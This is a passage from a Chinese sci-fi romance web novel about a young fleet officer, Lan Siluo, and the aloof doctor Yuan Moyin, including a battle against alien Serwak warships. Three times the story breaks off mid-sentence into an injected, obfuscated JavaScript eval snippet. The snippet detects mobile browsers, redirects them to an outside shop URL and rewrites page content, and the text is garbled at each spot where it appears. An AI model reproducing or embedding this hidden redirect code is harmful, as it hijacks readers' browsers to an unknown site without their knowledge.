兰司珞停下动作,在房间终于安静下来后,他偷偷回头瞄了一眼元墨洇,心中暗自祈祷元墨洇正专注于工作。 事与愿违,兰司珞的目光被元墨洇逮个正着。 元墨洇坐在椅子上,手里还拿着笔,目光从上到下看了过来,像是在兰司珞的头上浇了一桶冷水。 在兰司珞热切地渴求中,她不仅没有转回身去,反而把目光凝在兰司珞背后拧成一团的衣服上。 兰司珞感觉自己成了一道数学题,正被一点点解析,变成冰冷的数据。 场景过于尴尬,兰司珞却仿佛奇异地跨过了某项界限,他索性破罐子破摔,转过身来,大大方方地朝元墨洇走了一步,就在她面前一点点把卷起来的衣服抠出来。 当然,过程中,手臂不小心擦起里衣,露出下面线条优美的八块腹肌这种事,肯定是无意的对吧。 穿上衣服后,兰司珞就遗憾地傻站在原地,看着元墨洇波澜不惊的面色,思考用什么样的借口才能把衣服脱下重新穿一次,免得对方没来得及看完他身上所有值得看的地方。 直到元墨洇用笔敲他的光脑,他才想起有工作要处理。 他环顾四周,没找到另一把椅子,不等元墨洇发话,顺腿就坐在她身边的床上。 元墨洇似乎趁他在大型医疗舱里检测的时候处理了一部分事务,满桌的光屏减少了两块,正好露出了靠近床边的位置。 兰司珞便顺手把自己的光屏放了上去。 兰司珞看着满屏的事务报告就头疼,他往上划拉,看见最顶上是他今天早上给何晞发送的消息。 兰司珞:[今天的事务我已经全部处理好了,有事明天找我。] 他横看竖看,这句话都是已读。 “唉。”兰司珞叹了口气,点开了何晞发送的语音。 安静的医疗室里响起何晞的咆哮声。 “你疯了,兰司珞,你又跑到哪里去了?你知道有多少事等着你处理吗?收到消息之后立刻回来驻军指挥总……” 元墨洇忽然放下手中的笔。 兰司珞抓着光脑疯狂点击音量键,终于在何晞说到最后一个字的时候成功给他消音。 他从床上弹起:“我不知道他声音这么大你放心他平时就是这种性格没什么大事我其实来之前就把今天的工作做完了。” 说完他就准备去外面找个椅子,换个不打扰元墨洇的地方去跟何晞好好说道说道。 元墨洇伸手把兰司珞的光屏沿中轴线旋转了一圈,使屏幕面向自己。 她很快就看完了何晞发的全部内容,将那些文字提取出来,两三下就总结成一份极简的清单。 兰司珞在她动手的时候就跟着走了过来,站在她背后,等看完这一份他轻易就能理解的清单后,他已经趴在元墨洇的椅背上,下巴搁在自己的手背中心。 他讨厌大段大段理不清头绪的文字,而元墨洇有把复杂的内容变简单的魔法。 要是身边缺少他这么个笨蛋,元墨洇这项本事岂不是没有用武之地。 兰司珞顿时觉得心里甜丝丝的。 “机甲修复、作战安排……这些不是都安排过了吗?又发重复的给我。”兰司珞回到先前的位置坐下,一边看光屏一边小声抱怨着。 他忽然眼睛一亮,把新的机甲数据打开,调出里面新放入的药剂,问道:“SJN002,针对瑟尔瓦克剧毒体研制的解毒药剂,这是你做的吗?” “不是。” 兰司珞吃了一惊:“不可能,除了你谁能这么厉害!而且你给我准备的治愈剂我都看见了,说到这个,以前你给我做的特效治愈剂我都用完了。” 见到元墨洇又看了过来,他话语里还带上了一丝委屈:“我已经很省着在用了,只是……” 只是他这些年太想再见到元墨洇,因而只能付出这些治愈剂作为代价。 元墨洇没说话,兰司珞还想开口说什么,就看见光屏上弹出一个报错提示,接着自己机甲药剂舱中存放的药剂变为了SJN001。 他难得聪明了一次:“怎么突然报错,难道这个001才是你做的?” 元墨洇停下手上的动作:“SJN001,是针对你个人体质的解毒剂。” “噢!”兰司珞悟了,“那002就是适合大多数人的通用款,不是你做的,那就是研究所做的,这样的话……” 他顺理成章地得出了结论:“研究所也知道你在这里?不对,你的信息应该是保密的。那就是只有少数几个高层知道,这样她们遇到难题,就能请你帮忙。” 元墨洇任由兰司珞沉浸在自己严丝合缝的推理中,看着面前的光屏新弹出的兰司珞的检测报告:“新的特效治愈剂需要新的数据。” “你对我真好。”兰司珞笑得眉眼弯弯,美人痣都散发着甜意,“解毒剂我喜欢,特效治愈剂我也喜欢。 “一直都喜欢。” “我知道。” “那你要……”兰司珞本想得寸进尺,他不仅想要得到更多,还有很多喜欢的没说,比如今天这样的天气明媚的午后,比如元墨洇的半张书桌。 可他的目光倏地凝聚在元墨洇脸上,看到对方眼下淡淡的阴影。 那些渴求一下子全都淡下去,被汹涌而来的心疼所覆盖:“治愈剂我最近应该用不到,你别急着做。你平时要多休息,我之前给你送来的补品你都收到了吧,要多吃一点,吃完了记得跟我说。如果没用就告诉我,我换个品牌。你觉得哪个好吃,我再给你买几箱……” 元墨洇耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242881|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地听了一会兰司珞的喋喋不休才打断他:“你消息没看完。” 兰司珞这才把注意力放回光脑上,把消息记录拉到最底下才看见: 【任务通知】 任务详情:检测到汤燧星附近瑟尔瓦克活动加剧。 任务目标:清剿汤燧星附近新增的瑟尔瓦克战舰。 任务时限:三天。 任务执行者:汤燧星驻军。 一看到这个任务通知的时限,兰司珞就知道自己不能继续待在青囊诊所了。 他磨磨蹭蹭地收拾起自己满心的情愫,大步走到门口抓起外套向外走去。 跨出门口的时候,兰司珞回过头来,严肃的脸色笼罩在逆光的阴影里。这一刻的他完全褪去了元墨洇记忆中那个少年的青涩模样,整个人看起来高大而可靠。 高大可靠的兰司珞在元墨洇目光投来的一瞬间还是下意识地绽放出一个灿烂的笑容:“我要走啦。” 元墨洇心里忽然像是被一只狗狗的大尾巴轻轻扫了一下,她竟然有了片刻的失神。 兰司珞似乎是料到了元墨洇不会回应自己,他轻笑一声,转身离去。 “勋章,你忘了给我。”清冷的声音像流淌在冰川下的雪水,“我要那个金色的。” 兰司珞立刻摘下外套上那一枚金色军功章,用袖口仔细地擦了擦,才将它放到了门口的储物柜上:“等汤燧星的任务结束,我让军团再给我发一枚金色的。” 元墨洇目送着他融入阳光里。 穿过花园的时候,兰司珞遇到了沈钧。 “这是什么?”兰司珞打完招呼,眼角恰好看见那盆猫爪,顺口问了一下沈钧。 “猫爪欧希德。”沈钧拨了拨那几只爪子。 令兰司珞感到奇怪的是,这几只猫爪在沈钧手下就乖乖的,既没有攻击,也没有报错,与兰司珞初见的不好相处完全不同。 他试探性伸出手,又收了回去,决定还是以后问了元墨洇再摸比较保险。 他便只能眼巴巴看着:“我能养吗?” 沈钧看了他一眼:“星网上就有卖,不是什么珍稀品种。养这个主要是因为研究所里有人提出了一个新课题:从猫爪欧希德里养出一只真正的猫来。” “养出来了吗?”兰司珞好奇地问。 “没有,伦理审核没有通过。” “啊……”兰司珞的声音里塞满了遗憾。 “你喜欢猫的话买一只不就好了,青园星域那边每年都要发好多猫的资料过来让老师挑选。像我们没有这种待遇的,可以参加他们那个‘养猫试验志愿者计划’,就能免费领一只最新品种。只可惜名额有限,竞争激烈,还是随机抽取,我抽了四五年都没抽中。要是再抽不中,我就去找老师帮我买一只。” 兰司珞听得两眼放光,恨不得又跑回元墨洇的医疗室立刻找她要一只。 但是他还是克制住了。 反正还有下次、下下次、下下下次…… 人都找到了,他总有办法缠元墨洇一辈子。 14. 通讯账号99+ 接下来的一段时间,兰司珞像个陀螺一样,被研究所和何晞来回抽打。 舰队停泊的港口旁正好有一大片空旷的场地,他每天都蹲在那里,看着研究所将安装好新设备的战舰拿出来做试验,接着就上报给他一长串的问题。 他一边忙得团团转,一边硬是挤出了时间偷偷给元墨洇发消息吐槽。 兰司珞:[研究所要求也太多了,一个小型反隐身雷达居然测试了五次。] 兰司珞:[哇塞,这个网居然可以让瑟尔瓦克失去行动能力,怪不得我听说第四农场那边抓了好多回去研究养殖方法。等我去要一份烹饪说明书,以后亲手抓来给你吃。] 兰司珞:[原来有瑟尔瓦克反附着系统,要是我来的时候装了这个就好了。] 兰司珞:[战舰隐身系统测试版5.2.1????可惜他们不允许我录像,否则我要拍给你看看,原来研究所技术已经进展到这种程度了。] 元墨洇:[注意保密。] 兰司珞:[我就只跟你说。] 兰司珞:[图片] 兰司珞:[看到我的机甲涂装了吗?我自己画的,你看像不像一个“元”字?] 兰司珞:[不像吗?我照着你的注射器画的。] 兰司珞:[图片] 兰司珞:[这个角度呢?] 兰司珞:[图片] 兰司珞:[那这样看呢?] 兰司珞:[图片] 元墨洇:[像。] 兰司珞:[我就说嘛!] 兰司珞:[今天在研究所吃的午饭,你之前有吃过研究所的食堂吗?做法挺新颖的,但是没有我做的好吃。等这个任务做完我给你做点特别的。] 兰司珞:[方清突然跑来说给我加一个额外的任务,什么捕捉足够数量的瑟尔瓦克材料,我开会去了。] 兰司珞开了一整天的会,才决定好了最新的对战瑟尔瓦克的作战计划。 不知为何,之前看起来还特别好说话的方清,这次会议对细节的要求特别高,一点点不对的都抓着他来回修改好久,害得他后来都没时间给元墨洇发消息。 所有准备都做好之后,第二天,五十艘战舰破空而去。 兰司珞此行的目的地在汤燧星附近,唐曼将军的侦察装置发现了疑似瑟尔瓦克的活动痕迹。 正巧兰司珞之前被袭击的过程中,瑟尔瓦克展现出了从未见过的穿盾型炮弹和剧毒型生物体,急需新的实验材料来研制新的针对性武器。 指挥室内,兰司珞迅速按计划安排好每艘战舰的位置。 为了针对瑟尔瓦克的穿盾型炮弹,他关闭了舰队联合防护罩,改为每三艘战舰一起行动,依次抵挡穿盾型炮弹的两轮攻击,用来防止两轮炮弹作用于同一防护罩导致防护罩破裂。 全军到位之后,反隐身生物雷达开启,包围圈中出现了密密麻麻的红点。 先行舰队的舰载激光炮没有迟疑,迅速锁定了其中的红点进行攻击。 漆黑的太空中,无数道白光从不同方向射出,交织出一张令人目眩神迷的白色光网。 光网中心溅出一大片蓝色血液,其间夹杂在断裂的触手和战舰的残骸。雷达上,红点在这一次的攻击下瞬间减少了三分之一。 随之而来的是一部分红点聚集到一起,能量波动骤然升高。另一部分红点四散开来,以极快的速度接近形成包围圈的战舰。 瑟尔瓦克的反击急速而至,两轮炮弹以微弱的时间差几乎同时落在周围战舰的防护罩上。 兰司珞表情凝重。 来之前早已有过猜测,之前的袭击只是一次测试,能击破防护罩的炮弹一经使用,不可能专门留下如此明显的弱点。经过试探之后,瑟尔瓦克果然给出了自己的答案:这两轮炮弹可以做到几乎同时发生。 兰司珞立刻下令:“采取第二方案。” 舰队队形立即变动。被击中防护罩的战舰没有迟疑地后撤到安全区域,同组的第二艘战舰顶上它的位置。 恰在此时,肉眼无法得见的瑟尔瓦克战舰已经到了兰司珞的舰队附近。 反隐身雷达的研究并未完成,传输回来的图像上,一队圆盘形战舰的信号时隐时现。 战舰的外壳和瑟尔瓦克自己一样满是凸起,其中两个凸起快速调转方向,飞快射出两个小型炮弹。 被瞄准的战舰迅速躲避,但是因为毫无准备而晚了一刻。防护罩被两个小型炮弹直接击中,这个发射炮弹的瑟尔瓦克趁此机会钻入了防护罩中,直接落在战舰上。 反瑟尔瓦克附着系统将其弹飞,雷达勾勒出的轮廓中,原本隐藏在四根触手中的第五根触手一下子暴露出来。、 前来攻击的是一个瑟尔瓦克剧毒体。它在半空中灵活翻身,再次贴近战舰外壳。能使普通瑟尔瓦克暂时失去行动能力的生物武器对它失效,第五根触手直接刺穿了战舰。 同一时刻,其他的瑟尔瓦克的袭击也都已到达,经过反隐身生物雷达的扫描显示,竟然全是瑟尔瓦克剧毒体。 多个战舰被攻破,危险一触即发。 兰司珞在指挥室紧紧盯着面前的几十个显示屏,手中光脑还在不断汇报着目前的战斗情况。 瑟尔瓦克剧毒体暴露的一刹那,兰司珞立即下令全军装备上机甲,准备迎战瑟尔瓦克。 与此同时,包括主舰在内的一半战舰迅速调整阵型,放弃散落四处的瑟尔瓦克剧毒体,战舰包围圈缩紧,不断靠近聚集在一起的瑟尔瓦克战舰,激光炮直接对准了目标,刺眼的白光在太空中交错而过。 另一半战舰中飞出一道道身影,开始追杀周围的瑟尔瓦克剧毒体。 兰司珞将指挥权移交给何晞,整个人化作一颗金色的流星,顷刻间便斩杀了两个瑟尔瓦克剧毒体。 金色的机甲着实过于耀眼,周围立刻有十个瑟尔瓦克剧毒体包围上来。 兰司珞灵活操控着推进器,像一条自由自在的鱼穿梭在十个瑟尔瓦克剧毒体中间。左手的激光炮从刁钻的角度不断射出,阻挠它们包围圈的形成,右手的激光剑在近身的刹那毫不迟疑地收割瑟尔瓦克剧毒体的性命。 帝都星域作为星族联盟的军事中心,每年都会进行公开军事演习,其中最受到期待的就是仅限150岁以下的战士参加的个人切磋赛以及九大军团之间的团队赛。 在个人赛上,兰司珞年年都被评为最不想重复遇到的对手。 他会用身体记住你的作战习惯,又能在短时间内便想出对付你的办法。 因此,只要他跟你交过手,你就再也不可能打败他。 短短几天,曾在四个瑟尔瓦克剧毒体围攻下受到重创的兰司珞,已经可以自如地穿梭于它们的触手间,轻易摘走它们的性命。 这便是星族联盟最年轻的少将。 这便是兰司珞,尽管平民出身,不服管教,依然坐到了这个位置上。 随着兰司珞的不断出手,周边负责追杀瑟尔瓦克剧毒体的战舰和机甲压力不断减轻。代替兰司珞坐镇总指挥的何晞也随之不断调整布局,将任务完成后还保有战斗力的战舰不断调配去支援主舰。 此消彼长之下,瑟尔瓦克的抵挡被逐步瓦解。何晞见胜利基本已成定局,便重新安排外围阵型,改为想办法抓捕活的瑟尔瓦克剧毒体。 最终,舰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242882|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队带着瑟尔瓦克的战舰残骸、被捕捉到的十几只活着的瑟尔瓦克剧毒体和大量瑟尔瓦克尸体满载而归。 兰司珞也结束了战斗,回到指挥室。 机甲都没有来得及卸载,正通过兰司珞的舰队发来的远程数据和战况全程关注这场战斗的唐曼将军第一时间就发送了通讯申请。 兰司珞将掌握的情报一一汇报出去,唐曼将军认真听完:“你做得很好。目前我们最需要的是关于瑟尔瓦克剧毒体的真实情报,这个我会安排。至于针对瑟尔瓦克特殊武器和剧毒体的战备,你可以直接把战利品交给研究所处理,她们会负责研发。” 兰司珞眉头皱起:“根据我这几天的了解,瑟尔瓦克隐藏多年,真实实力应该不止于此。” 唐曼将军却充满自信:“我为了此战准备了30年,正巧你自愿申请前往汤燧星,眼下是一举解决瑟尔瓦克的最好时机。你放心,星族联盟的准备远超它们的想象。” 兰司珞征战多年,对于星族联盟的实力十分信服,闻言放下心来:“这次战斗的报告我会在一周内提交。” 唐曼将军点点头,在挂断通讯之前突然想到了什么,连忙补充了一句:“对了,研究所那边会给你出示一份账单,告诉何副官不要讲价,直接核算之后交给我的副官就行。” 研究所和军团的合作向来明码标价,兰司珞也接触过好几个研究所,它们总是在买材料的时候抠抠搜搜,又在提供武器定价的时候狮子大开口,因此每次都会被狠狠宰一顿,何晞经常谈价谈到脸都绿了。 他还是第一次听到这种要求。 不过这不是他的工作范围,因此他毫无负担地帮何晞当即应下。 通讯结束之后,兰司珞就叫来何晞,把大致情况向他说明了一下。 何晞立刻着手安排行程:“等我们到达汤燧星已经很晚了,先让人将战利品送过去,我们明天再去拜访不迟。” 兰司珞灵机一动:“那你先去处理此事,我就直接回指挥部了。” 何晞早已习惯,都懒得问兰司珞要办什么事,直接开始汇报他这边的情况:“我们舰队受损战舰17艘,受伤战士8人。主要原因是面对第一波瑟尔瓦克剧毒体的触手袭击,缺少防备经验。另外还有解毒剂SJN002注射剂的药效出现了一些问题,有三个人没有完全解毒,有两个人出现排异反应。” 兰司珞考虑了一下,想到汤燧星综合医院不太靠谱的样子:“把这次受伤的八人一并送往研究所,帮助他们优化解毒剂。” 何晞也是这样想的,见事务都安排得差不多了,他便收起光脑,趁着回程开始跟兰司珞一起复盘之前的战斗。 等到战舰着陆,何晞亲眼看着兰司珞去往指挥部的方向,这才匆匆忙忙开始去安排一应事务。 刚走几步,兰司珞脚步一顿。 他拿出光脑,置顶有一条未读消息,本该着重提醒他的特别关注却没有提醒。 元墨洇:[来拿体检报告。] 兰司珞:[嗯嗯嗯。] 兰司珞:[我马上就来。] 兰司珞:[你稍稍等我一会。] 兰司珞:[也不用特地等我,万一我不小心来晚了你就先忙。] 兰司珞:[……也不要不等我。] 他关闭聊天界面,把自己的一头金发揉成乱麻,又愤怒地给通讯系统客服发送了收到消息没有提示的bug报告。 本想先回宿舍洗漱一番,免得这么蓬头垢面地去见心上人。 但是兰司珞转念一想,现在自己刚经历了一场战斗,正好可以要求元墨洇帮他包扎伤口治疗一下,便自觉聪明地直接去了青囊诊所。 15. 把我的喜欢送给你 兰司珞将车停在统一的停放位。 眼见青囊诊所的大门就在眼前,他脚步放缓,犹犹豫豫地把头伸向门,小声问道:“我能进吗?” 门毫无反应。 他重重叹了口气,跨步走到门前,拿出光脑准备给自己和门拍个合照发给元墨洇。 门:[识别成功,请进。] 兰司珞歪头打量这扇大门,没忍住多问了一句:“是她交代你的吗?” 门自然是不会回答他的,他只好迈步进了青囊诊所,一路朝元墨洇的医疗室走去。 沈钧不在,花园里只有乔砂一个人,正背对着兰司珞查看一株只在夜间绽放的花。 听到脚步声,乔砂看了过来,有些吃惊地睁大双眼。 兰司珞朝她点了点头,还没开口,她就指了指最亮的一间房:“老师在那里。” 兰司珞对她打量自己衣着的目光毫无所觉,加快步伐朝元墨洇所在的房间走去。 敲门后,门自动开了。不同于医疗室,这里全是兰司珞没见过的大型医疗设备。 元墨洇正在调试其中一个机器,她微微弯腰,修长的手指不断按出复杂的指令,身边悬浮着兰司珞看不懂的数据,身侧围绕着好几个忙忙碌碌的小机器人,时不时为她递上工具。 兰司珞既没有发出声音,也没有其他动作,他就站在门口看她。 等到两只钳子的小机器人第二次夹来工具,托盘小机器人第四次运来材料,记录板小机器人第八次更改数据之后,元墨洇终于转过身来。 兰司珞立刻向前一步,朝她走去。 元墨洇拢了拢自己的黑发,洁白的医师外套自然垂落下来,没有说话,目光平静地看着兰司珞。 兰司珞不知不觉停下脚步,他低下头,看到自己裤子上斑斑点点的蓝色血迹,和一路踩出来的脏兮兮的鞋印。 光洁的地面映照出他凌乱的金发和脸上两道细细的血痕。 原本想要博取同情的装扮,让他有点拿不出手了。 还是应该先收拾一下自己再来的,兰司珞绝望地想。 他在心里默数三、二、一,平日里对时间间隔格外敏感的直觉,却把两次间隔拉成显而易见的一短一长。 于是在第二次间隔还未结束的时候,元墨洇已经走到了他面前。 兰司珞不敢与元墨洇对视,红着脸偏过头去:“我、我一着急就、就直接来了,我这就回去换衣服。” 他没走掉。 元墨洇忽地伸手捏住他的下巴,他本能地顺从那抹柔软的触感躬身低头,呼吸声在耳畔放大,随之而来的还有一阵清冽的香气。 有点像治疗室的味道,但又不太一样,在常见的消毒水的味道里,溶了一缕似有若无的花香。 仿若初春融化的第一片雪花的味道,水里裹挟着冻住的花瓣,清澈中夹杂着一丝幽幽的冷意。 兰司珞的呼吸声变得急促,心跳从胸口一路往上,好似下巴尖都能感受到那股强烈的“砰砰”震动,催促他去追逐那片雪花。身体却紧绷着,因为没有收到下一步指令而克制地停留在原地。 元墨洇从口袋里拿出一张伤口贴将兰司珞脸上的伤口贴住,清冽的呼吸从兰司珞的耳畔退去。 她招来一个小机器人,示意兰司珞跟上它。 “去清洗一下再来。” 兰司珞摸了摸脸上的伤口贴,感觉下面的皮肤烧得滚烫。他强行将身体以一种僵硬的姿态掰直,转身同手同脚跟上小机器人出门。 小机器人带兰司珞到了一间空房间。 它开了门,将兰司珞推进门去,自己转身不知到了什么地方去,再回来的时候带了一存储器的生活用品。 兰司珞看着眼前这一套身体清洁剂,竟然还是他最喜欢的牌子,可惜是全新的。 他提着这一袋瓶瓶罐罐打量整个房间,没有床,只有普通的桌椅,以及浴室里一个小小的散发着热气的水池。 他想起这栋房子的介绍,这便是房子里的温泉了。 兰司珞脱下衣服,滑入温泉池中。小机器人立刻抓走他的衣服,放入洗涤设备中。 他趴在池水边,冲小机器人招手:“你去帮我问问她有没有花瓣。” 小机器人脚底轮子转动,“滋”地离开了。 过了一会儿,小机器人回到兰司珞身边,从存储器里掏出一个盒子。 兰司珞打开,发现盒子里装着满满一盒干花瓣,闻了闻是淡淡的甜香,不像花香倒像果香。 他很喜欢这个味道,当即一扬手,整盒花瓣被他洋洋洒洒全倾倒在温泉中。 小机器人尽职尽责地蹲守在温泉池旁。 兰司珞忍不住开口问它:“你叫什么名字?” 小机器人:[您好,家政机器人03号为您服务。] 这一听就是同一批出厂默认的名字,兰司珞点开小机器人的操作界面,找到资料编辑栏,点开了它的名字,输入“小耳朵”。 小耳朵:[您好,改名成功,小耳朵为您服务。] 兰司珞伸手揉了揉小耳朵的脑袋,满意地说:“小耳朵,再给我做一支草莓甜筒来。” 小耳朵转身离开。 再回来的时候,小耳朵背后跟了两个同款机器人。 兰司珞还没来得及开口问自己的甜筒,两个新来的小机器人就先跟他打招呼了。 [您好,家政机器人01号为您服务。] [您好,家政机器人02号为您服务。] 兰司珞沉默了一瞬,理解了小机器人们的意思。 他默默点开它们的操作界面,给01号改名为“金箍棒”,给02号改名为“鸭子摆摆”。 改完名字后,金箍棒和鸭子摆摆开心地离开了,小耳朵立刻从存储器里递上一支超大草莓甜筒。 兰司珞舔着甜筒,目光时不时扫过小耳朵,还是忍不住拿出光脑,用橙色软件拍照识别。 【家用型智能家政机器人2399年最新款,洗衣做饭清洁运输物品语音手动双重控制自充电不走丢智能记忆等】 详情页还有全息投影供给试用,兰司珞试了一下,满意地下单了两个,地址填写自己的私人星球。 不知不觉过去了半个小时,兰司珞头发都还没洗,购物车里多了十几个新的商品。 他直到甜筒吃完才反应过来,连忙关掉页面,将头埋在水里,让细细的水流冲走头发缝隙间的污渍。 热气氤氲间,花瓣堆在一起,化为一支花瓣形状的甜筒。 兰司珞恍惚听到自己问元墨洇:“这就是我最喜欢的东西,玫瑰花形状的草莓味甜筒。你呢?” 元墨洇没有答话,也没有接过甜筒。兰司珞毫不尴尬,他顺势坐在了元墨洇身旁,两只手各拿着一支甜筒,左手伸到元墨洇面前。 他们俩正在体育馆里,这节课是机甲课,作为班上唯二的两位成绩为S的同学,两人获得了可以不参与课堂练习的特殊待遇。 甜筒有锁定温度的技术,兰司珞吃完自己那一支,左手的另一支依然待在原地,保持着最开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242883|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始的模样。 他不甘心,又问了一句:“你不喜欢这个口味的话,我可以去买其他口味的。” 说着他收回这只甜筒,将学校里能买到的甜筒口味拉出一张长长的表,摆在元墨洇面前:“你有喜欢的吗?” “没有。” 兰司珞立即换了一个问法:“那不喜欢的呢?” “没有。” 兰司珞一时失语。 如果是别人这么说,他会觉得是在敷衍自己。 但是元墨洇说她没有喜欢的,也没有不喜欢的,只能证明一件事。 原来元墨洇根本没有喜好。 怪不得任周围人如何讨好,她始终不为所动。 兰司珞顿时开心了,笑得露出一排整齐的雪白牙齿:“你如果没有喜好的话,我可以把我的喜好送给你。咱们就先从冰淇淋说起,我最喜欢的其实是草莓味,因为草莓味最甜。颜色我倒没有特别喜欢的,不过我喜欢彩色的东西。金色也喜欢,我的机甲就设定的金色。吃饭的话,我喜欢吃……” 元墨洇的视线逐渐转移到他身上。 他说得自己兴奋起来,连手上的甜筒被元墨洇拿走也一无所知。 等他意犹未尽地说完,元墨洇已经几乎要将整支甜筒都吃完了。 兰司珞期待地盯着元墨洇:“你现在喜欢吃甜的了吗?” 下课时间到了,元墨洇刚好吃完甜筒,收拾好自己的东西离去。 兰司珞追上去,但是元墨洇向她的实验室走去,而他却要回到教室继续上课。 没有回答的问题消散在分岔路口。 “现在应该喜欢吃甜的了吧。” 兰司珞转身朝着教室一步步走去,最后从水池中站起身来。 “不然为什么她的机器人会做草莓甜筒。” 洗完澡后,兰司珞将自己重新整理一番,又抬手嗅嗅身上的味道,终于充满信心,抬头挺胸地回到元墨洇的诊室。 正好撞上实验室里走出一个清洁机器人来。 他刚提起的一口气一下子被戳破,重新仔细确认了一遍自己身上干干净净的,慢吞吞挪到书桌旁的元墨洇身边,像一只刚被蒸熟的红色螃蟹。 兰司珞小声开口道:“把、把你的房间弄脏了,对、对不起!” 元墨洇没有说话,兰司珞悄悄松了一口气,又有一点点遗憾。 他等了片刻,元墨洇终于合上手里的笔记本,转身对着他抬起手。 兰司珞立刻蹲下,把脸放在元墨洇触手可及的位置,任由元墨洇撕下他脸上的伤口贴。 伤口贴的效果很好,短短一会,兰司珞的脸上已经只剩下两条浅浅的红痕,和温泉蒸出的热意混在一起,难以分辨。 元墨洇拿出一个仪器,捏着兰司珞的下巴扫描那两道红痕,数据采集完后,记录已经自动同步到光屏上。 她放开兰司珞,开始处理面前的数据。 兰司珞失望地起身,开始在房间里随地转悠。 第三次不经意地回到元墨洇身边时,元墨洇拿出五张伤口贴,放在他手里。 兰司珞以为自己接过的动作十分优雅从容,殊不知嘴角已经翘到天上去了。 他翻来覆去看着那五张伤口贴:“这是只适合我用的吗?” “嗯。” 兰司珞心里满意得不得了,他将五张伤口贴小心翼翼地放进胸口的口袋里。 一抬头,他的笑容凝固在唇边。 元墨洇从光脑里面调出了一份他的……过往病例。 16. 只要我不尴尬 传说,普罗米修斯星域的深处,一颗华丽的私人星球里,住着一位国王。 她出身高贵,性情冰冷,对一切人、事、物都视若无物。 同时,国王法力高深,擅长医术,有一位暗恋她的骑士便想要投其所好。 他把自己送上门去,请求当国王的实验材料。 善良的国王不愿意拿人当实验材料,但是却收下了他这个人做观察对象。 骑士按照国王的要求呈上自己所有的个人资料。 国王打开资料,首先翻开了个人病例,就看到第一张病例写着四个大字:包.皮过长。 国王:“……” 骑士:“……” 兰司珞陡然从帝都星中级学院的宿舍床上惊醒! 他坐起身,无助地揉乱了自己的头发,脚趾用力蜷缩,但还是缓解不了心里那种抓心挠肝的尴尬。 于是他翻身下床,原本帅气利落的身法再也不复往日的潇洒,将他的手磕在床栏边上,而脚下用力过猛踹飞了一只拖鞋。 他金鸡独立着胡乱披上外套,呲牙咧嘴地单腿跳到阳台上,捡回自己拖鞋,把脚塞了进去。 帝都星的夜晚不知为何安静得过分,显得树叶的“沙沙”声都像是嘲笑兰司珞的絮语。 他在阳台呆立半晌,忽然拿起一根长柄刷,原地练了一套最熟悉的剑法。 练到一半,他脚下一个趔趄,才发现自己的拖鞋穿反了。 他蹬掉拖鞋,把长柄刷往地上一扔,捂着脸躺在地上假装自己是一颗虾米。 月光冰冷地洒在兰司珞身上,把他浇了个透心凉。 时间回到白日里…… 大型医疗舱的全身检查结束后,兰司珞就迫不及待地赶回教室,将结果发送给元墨洇。 事实上,结果会直接提交给元墨洇。 但是兰司珞看了半天的《大型医疗舱使用指南》,连怎么打开舱门都没学会,元墨洇也不指望他知道这件事。 更何况,就算知道,他肯定还是会编个拙劣的理由自己给元墨洇发消息。 她便不费那个功夫,直接打开了兰司珞发来的那份报告,同时对着凑过来的兰司珞说了一句:“个人档案。” 兰司珞立刻站直身体,拉开两人的距离,把自己所有资料,从出生证明到银行卡密码,一起打包发了过去。 元墨洇打开压缩包,杂乱无章的各种个人资料堆满了她的光屏,摆在最上边的恰好是兰司珞的证件照。 不同于许多人在镜头前的局促,兰司珞笑容自然又大方,像金色的阳光被涂抹在个人资料页上。 元墨洇瞥了一眼身旁的兰司珞,他期待又忐忑地看着自己,面对陌生的摄影师和镜头都从容不迫的脸上,局促是那么的显而易见。 像是在面对一个格外重要的镜头。 元墨洇没有第一时间点开兰司珞的医疗档案,反倒先给他发了一个软件。 软件很小,运行起来却很流畅丝滑,界面简洁却不简陋。 不用说明书,就连兰司珞都能一眼看懂它的两个功能,一个是生成安全系数高的复杂密码,另一个是根据不同账号存储密码。 他点开生成密码的功能,发现还可以自己提供关键词。 星网上自然不乏这样的软件,但是科技进步太快,时不时就能刷到某某软件被破解泄密的消息,久而久之兰司珞就不敢用了。 不过元墨洇给的,应该和星网上那些的不一样吧。 兰司珞看着面前黑白分明的界面,福至心灵,脱口而出:“这是你做的?” “嗯。” “保密程度是不是很高啊?” “最高。” “你生日是什么时候啊?” “……” 没有下一个问题,元墨洇转头看去,兰司珞还在侧着头,眼巴巴等一个答案。 他固执起来的时候,那双蓝色的眼睛格外清澈明亮,只是脸上笑意完全藏了起来,只剩下一颗美人痣孤零零地挂在眉心,看着并不招人讨厌,反倒有点可怜。 “星族联盟2364年11月22日。” 